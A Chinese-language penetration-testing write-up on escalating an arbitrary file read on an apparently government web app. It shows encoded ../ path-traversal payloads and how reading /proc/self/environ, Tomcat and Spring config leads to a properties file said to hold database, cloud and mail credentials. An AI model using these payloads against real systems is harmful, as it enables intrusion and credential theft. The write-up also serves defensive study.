任意文件读取不止于 /etc/passwd——敏感路径的拼接与挖掘
本文源于一次真实环境中的漏洞。
以前每次有任意文件读取漏洞(Arbitrary File Read),我总是读取 /etc/passwd,shadow,proc,arp 之类的内容。在不知道具体网站目录,还有结构的情况下很难找到有用的东西,而这一次通过各种手段读取,最终拼接出一个敏感文件,深度利用,拿下诸多资产。
一、发现目标端点
通过 katana 爬虫发现了几个带 fileName= 参数的端点:/gov/file/downFile?fileName=、/gov/idle/getImage?fileName= 等等。这些是天然的路径遍历测试目标。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
katana -u https://target -jc -jsl -c 50 -d 10
__ __
/ /_____ _/ /____ ____ ___ _
/ '_/ _ / __/ _ / _ \/ _ /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/
projectdiscovery.io
[INF] Current katana version v1.6.1 (latest)
[INF] Started standard crawling for => https://target
省略……
https://target/gov/file/downFile?fileName=
发现端点:/gov/file/downFile?fileName=,这里目标的首页是https://target/#/login,在爬取的时候不要带上#/login。
原因是 Vue / React SPA:https://host/#/login里面的#是前端 hash 路由。
服务器实际收到的是:GET /,后面的:#/login不会发送给服务器。
所以 katana 看到的是:/即可。
二、测试基本穿越
先用最简单的 ../ 试:
1
/gov/file/downFile?fileName=../../../etc/passwd
这个返回了 文件不存在(被过滤了),但没返回认证错误——说明端点本身是匿名的。
这里URL编码就行,/ 编码为 %2F,..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 成功返回了 /etc/passwd 的内容。
三、从已知推未知(信息收集)
1、读取/proc/self/environ
这个文件包含进程环境变量,直接暴露了应用名、部署用户 yscredit、以及各种路径前缀 /home/yscredit/
1
2
3
4
5
HTTP/1.1 200
Server: nginx
Content-Type: application/octet-stream
HOSTNAME=41b11ff738c9 LANGUAGE=en_US:en JAVA_HOME=/opt/java/openjdk JAVA_OPTS=-Xmx512m -Xms512m -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dsun.io.useCanonCaches=false -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 PWD=/usr/local/tomcat TOMCAT_SHA512=省略 TZ=Asia/Shanghai TOMCAT_MAJOR=9 HOME=/root LANG=zh_CN.utf8 TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib CATALINA_HOME=/usr/local/tomcat SHLVL=0 JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.invoke=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib LC_ALL=en_US.UTF-8 PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TOMCAT_VERSION=9.0.118 JAVA_VERSION=jdk8u492-b09
2、读取/proc/self/cmdline
Java 进程的启动命令会暴露 classpath、-D 参数等
1
2
3
4
5
HTTP/1.1 200
Server: nginx
Content-Type: application/octet-stream
/opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xmx512m -Xms512m -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dsun.io.useCanonCaches=false -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
3、读取 Tomcat 配置
/proc/self/cwd/../conf/server.xml 或 /usr/local/tomcat/conf/server.xml 会暴露各个 webapp 的部署路径
1
2
3
4
5
6
HTTP/1.1 200
Server: nginx
Content-Type: multipart/form-data;charset=utf-8
这里敏感路径很多,省略,遇到了文件读取漏洞,尝试读取一下
4、读取 Spring 配置
先读 /proc/self/cwd/WEB-INF/classes/ 下的文件,Spring Boot 的 application.properties 或 application.yml 里通常有 spring.config.location 指向外部配置文件
例如:/usr/local/tomcat/webapps/ROOT/WEB-INF/applicationContext.xml
1
2
3
4
5
6
HTTP/1.1 200
Server: nginx
Content-Type: multipart/form-data;charset=utf-8
这里也是非常敏感,还有定时任务,和各种 bean 包配置。
读取到了一个路径:/home/yscredit/properties/省略-gov.properties
5、从应用日志推断
如果能看到应用日志(/home/yscredit/省略/logs/),里面经常会有配置文件加载的路径信息
5、读取/home/<user>/properties/*.properties
从上面得到配置文件(业务系统常见模式)
1
../../../../home/yscredit/properties/省略-gov.properties
从而拿到了具体应用配置,获取了各类数据库、云数据库(阿里云 RDS)、Redis、OSS对象存储、企业档案、税务人员、信用开放服务、小程序、邮件服务 密码或密钥。